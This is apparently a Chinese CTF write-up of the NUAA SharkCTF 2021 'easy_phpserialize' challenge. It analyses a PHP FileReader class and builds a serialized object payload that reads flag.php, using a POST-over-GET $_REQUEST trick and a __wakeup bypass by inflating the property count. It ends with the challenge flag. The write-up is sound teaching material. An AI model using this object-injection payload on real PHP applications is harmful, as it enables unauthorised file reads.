跳转至

easy_phpserialize - NUAA SharkCTF 2021

其实我觉得这两道题(baby→easy)的梯度设计得不错,是比较平滑的进阶曲线。

题目描述

image-20211002103401316

心路历程

惯例先打开靶机网页,是一串乱码:

乱码

有意思的是,在 Chrome DevTools 里面能正常显示出来,是一个菜谱:

菜谱

广东人表示只能说还彳亍,没有特别想吃的菜,故直接无视之(bs

惯例 robots.txt:

robots.txt

轻松拿到源码:

index.php~

<?php
  class FileReader
  {
    public $Filename;
    public $start;
    public $max_length;
    function __construct()
    {
      $this->Filename = __DIR__ . "/bcm.txt";
      $this->start = 12;
      $this->max_length = 72;
    }

    function __wakeup()
    {
      $this->Filename = __DIR__ . "/fake_f1ag";
      $this->start = 10;
      $this->max_length = 0;
      echo "<script>alert(1)</script>";
    }

    function __destruct()
    {
      $data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
      if (preg_match("/\{|\}/", $data)) {
        die("you can't read flag!");
      } else {
        echo $data;
      }
    }
  }

  if (isset($_GET['exp'])) {
    if (preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])) {
      die("hack!");
    }
    $exp = $_REQUEST['exp'];
    $e = unserialize($exp);
    echo $e->Filename;
  } else {
    $exp = new FileReader();
  }
?>

稍微分析一下:

<?php
  class FileReader
  {
    public $Filename;
    public $start;
    public $max_length;

    function __construct();

    function __wakeup();        // 不能在反序列化时执行这个函数

    function __destruct()       // 希望在反序列化时执行这个函数
    {
      $data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
      if (preg_match("/\{|\}/", $data)) {       // 不能触发这个判断: flag 还得一段一段地读
        die("you can't read flag!");
      } else {
        echo $data;
      }
    }
  }

  if (isset($_GET['exp'])) {    // POINT 1: 需要进来这里
    if (preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])) {    // POINT 2: 不能触发这个
      die("hack!");
    }
    $exp = $_REQUEST['exp'];    // POINT 3
    $e = unserialize($exp);     // POINT 4: 反序列化
    echo $e->Filename;
  } else {      // POINT 1: 而不是这里
    $exp = new FileReader();
  }
?>

构造请求

Point 1,GET 得定义一个 exp 参数。这个随便定义,只要不触发 POINT 2 的判断就行。

http://server.ip:port/index.php?exp=Jonbgua

至于怎么给 Point 3 的 $exp 赋上值,就得看 $_REQUEST 的特性了。$_REQUEST['key'] 的逻辑是,先看 $_POST['key'],如果这个没定义,才看 $_GET['key']。所以 $exp = $_REQUEST['exp']; 的值从 POST 表单中来。

总而言之,序列化对象应该设置为 POST 表单 exp 键的值。

将对象序列化

这次就不多废话了,直接上序列化助手的代码 serialize.php

<?php
    class FileReader
      {
        public $Filename;
        public $start;
        public $max_length;
      }

      $obj = new FileReader;
      $obj->Filename = "flag.php";
      $obj->start = 0;
      $obj->max_length = 11;

      echo serialize($obj);
?>

你会很好奇:诶,你咋就知道 flag 存在 flag.php 里面呢?这道题确实没有任何提示,robots.txt 也没写,所以你可能需要进行全站扫描。

得到序列化结果:

O:10:"FileReader":3:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:0;s:10:"max_length";i:11;}

绕过 __wakeup()

这个是经典的 CTF 考点了,以这个小标题为关键词一搜,全都是。大体原理是:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,并且不会报错,可以被正常反序列化。

具体到这题,就是把 FileReader 后面的 3 改成 4:

O:10:"FileReader":4:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:0;s:10:"max_length";i:11;}

发起请求

开头部分

搞定!不过我们要调整 start 和 max_length,逐步得到 flag。

中间部分

拼一下,可知 flag 为 Asuri{php_serial1ze}